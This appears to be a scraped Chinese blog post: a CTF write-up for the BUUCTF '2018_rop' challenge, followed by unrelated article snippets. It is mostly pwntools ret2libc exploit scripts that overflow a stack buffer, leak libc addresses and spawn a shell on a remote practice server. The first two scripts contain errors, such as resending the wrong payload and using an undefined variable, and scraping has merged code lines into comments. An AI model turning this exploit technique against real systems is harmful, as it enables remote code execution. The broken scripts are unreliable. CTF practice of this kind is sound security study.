PWN手的成长之路-18_铁人三项(第五赛区)_2018_rop

news/2025/10/19 0:01:13/文章来源:https://www.cnblogs.com/B0rry/p/19150329

image

file,checksec:
image

image

buf只有0x88字节大小,但read却可以往buf中输入0x100字节,使所以存在栈溢出。
image
且字符串中无/bin/sh,函数中无 system 函数,所以可以确定是ret2libc。

exp,这个exp可以泄露出write的地址:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',25899)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.got['write']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xD)
r.sendline(payload)write_real_addr = u32(r.recv(4))
print(hex(write_real_addr))#libc
libc = LibcSearcher('write',write_real_addr)
base_addr = write_real_addr - libc.dump('write')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')#attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(main_addr) +p32(binsh_addr)
r.sendline(payload)
r.interactive()

image

exp2(这个exp泄露的是read的地址):

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28419)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
r.sendline(payload)read_real_addr = u32(r.recv(4))
print(hex(read_real_addr))#libc
libc = LibcSearcher('write',write_real_addr)
base_addr = write_real_addr - libc.dump('write')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')
# base_addr = write_real_addr - 0x0e56f0        #libc.dump('write')
# binsh_addr = base_addr + 0x17b8cf             #libc.dump('str_bin_sh')
# system_addr = base_addr + 0x03cd10           #libc.dump('system')
#binsh_addr = 0x961df#attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(0) +p32(binsh_addr)
r.sendline(payload)
r.interactive()

image

使用这两个地址的后三位,在 libc.blukat.me 网址中即可计算得到偏移。
image

之后编写总的exp:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28419)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
r.sendline(payload)read_real_addr = u32(r.recv(4))
print(hex(read_real_addr))#libc
base_addr = read_real_addr - 0x0e5620        
binsh_addr = base_addr + 0x17b8cf            
system_addr = base_addr + 0x03cd10         #attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(1) +p32(binsh_addr)
r.sendline(payload2)
r.interactive()

因为在libcsearcher中并没有找到匹配的libc,所以用了这种计算的方法得到了flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/939848.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

日志|JAVAWEB|YApi|vue-cli|VUE-Element

YApi接口管理平台 1.添加项目2.添加分组3.添加接口4.返回数据设置实际的前端开发vue脚手架vue-cli1.下载nodejs2.配置nodejs环境变量3.安装vue-clivue项目vue项目开发流程js的data属性 methods方法VUE组件库Element 1.…

20232401 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232401 2025-2026-1 《网络与系统攻防技术》实验二实验报告 1.实验内容理解后门概念:不经过正常认证流程而访问系统的通道 学习使用各类工具如netcat、socat、cron、MSF meterpreter等软件的使用方法 掌握后门原理和…

OI 笑传 #20

Yumebanchi我讨厌性质跟输入格式有关的东西。 20thARC208B 这题实现了三个版本,虽然说前两个是错的但是都是一遍写对,当练习玛丽了。 codeShow me the code #define rd read() #define mkp make_pair #define ls p&l…

FFT学习小结

关键词 多项式乘法,系数表示,点值表示,单位根 FFT基本思路系数表示->点值多项式 点值下直接相乘,时间复杂度O(n) 点值多项式->系数表示系数表示->点值多项式分治思想,奇偶分开,单位根 假定\(f(x)=\sum_…

2025.10.18——1黄

普及/提高- P14253 旅行(trip) CSP模拟赛T1,也是唯一AC的题。

幂等的双倍快乐,你值得拥有

hello, 这是有态度马甲的第xxx篇原创口水文。有趣指数5颗星,有用指数5颗星。 😠😠本文是国外技术网站medium上点赞超过200+的翻译/笔记文,有关规避/解决幂等请求的思路指南。 1. 软件领域二次请求无法避免 我们…

10.18总结

1.今天学习了数据模块化 2.明天用数据组完成数据整合

10.17总结

1.今天学习了如何转换数据格式 2.每天学习数据模块化

软考中级学习总结(2)

可靠性计算: (1)串联系统 R=R1R2R3......Rn (2)并联系统R=1-(1-R1)(1-R2).....(1-Rn) 编译程序和解释程序 1.低级语言:机器语言,汇编语言 2.高级语言:应用程序设计语言(java) 高级语言通过解释和编译后在机…

F - Not Adjacent

F - Not Adjacent Problem Statement You are given a length-$N$ integer sequence $A=(A _ 1,A _ 2,\ldots,A _ N)$. There are $2 ^ N$ (not necessarily contiguous) subsequences of $A$. Find how many subseque…

2025年粉末冶金制品/零件厂家推荐排行榜,高精度耐磨粉末冶金零件,优质粉末冶金制品公司推荐!

2025年粉末冶金制品/零件厂家推荐排行榜,高精度耐磨粉末冶金零件,优质粉末冶金制品公司推荐!一、行业背景介绍粉末冶金技术是一种先进的材料加工方法,通过将金属粉末或合金粉末经过压制和烧结等工艺,制备出具有特…

Neo4j 图数据库搭建和 Springboot 访问

Neo4j 图数据库主要用于节点关系的存储和查询,比传统关系型数据库的查询效率高,能够快速找到节点之间的最短路径,灵活强很强。 Neo4j 分为企业版和社区版,一般来说社区版免费,已经足够用了。有些功能只有企业版才…

AI元人文理论框架体系研究:价值原语化的文明演进机制与治理范式转变——声明Ai研究

AI元人文理论框架体系研究:价值原语化的文明演进机制与治理范式转变引言:AI元人文理论框架的兴起与核心问题1.1 理论背景与时代需求 在人工智能技术迅猛发展的2025年,人类社会正站在一个文明史的奇点上。通用人工智…

[buuctf]bjdctf_2020_router

首先查看一下文件的保护措施在用ida打开看一下 这里就是一个menu,然后进行选择,进入不同的函数这里主要注意到进入case1时,这里直接就有一个system函数,那么是否可以直接通过这个函数获得shell呢 在看看这里通过rea…

AtCoder Beginner Contest 428 ABCDE 题目解析

A - Grandmas Footsteps 题意 下课铃响起后,高桥会立即开始重复执行以下动作:以每秒 \(S\) 米的速度跑 \(A\) 秒,然后保持静止 \(B\) 秒。请问在下课铃响后 \(X\) 秒时,他总共跑了多少米? 思路 每 \(A+B\) 秒为一…

稻草火把下的星辰:回忆我的90年代求学路

1993年的夏天,我手握政和一中的录取通知书,却感觉这张纸比铅还重。中考成绩名列全校第一的喜悦,早已被无钱就读的现实冲刷得一干二净。在我们那个小村庄,考上高中并不被视为荣耀之事,唯有考上中专才被视为真正的“…

20251018

正睿 CSP 7 连测 终于 ak 了一场。 D 给定长度为 \(n(n \le 2 \times 10^5)\) 的序列 \(a(|a_i| \le 10^9)\)。若 \(a_i < 0\),\(b_i = -2^{-a_i}\);否则,\(b_i = 2^{a_i}\)。求 \(b\) 的最大子段和对 \(9982443…

Linux后门应急

Linux后门应急 1、主机后门用户名称:提交格式如:flag 进来先对终端升级一下 python -c import pty; pty.spawn("/bin/bash")直接使用cat /etc/passwd 查看后面用户flag{backdoor}2、主机排查项中可以发现到…

吴恩达深度学习课程一:神经网络和深度学习 第三周:浅层神经网络(二)

此分类用于记录吴恩达深度学习课程的学习笔记。 课程相关信息链接如下:原课程视频链接:[双语字幕]吴恩达深度学习deeplearning.ai github课程资料,含课件与笔记:吴恩达深度学习教学资料 课程配套练习(中英)与答案…

2025.10.18总结

今天继续学软考相关内容,看了操作系统一个章节进程管理的内容。 操作系统的定义:操作系统是指控制和管理整个计算机系统的硬件和软件资源,并合理地组织调度计算机的工作和资源的划分,以提供给用户和其他软件方便的…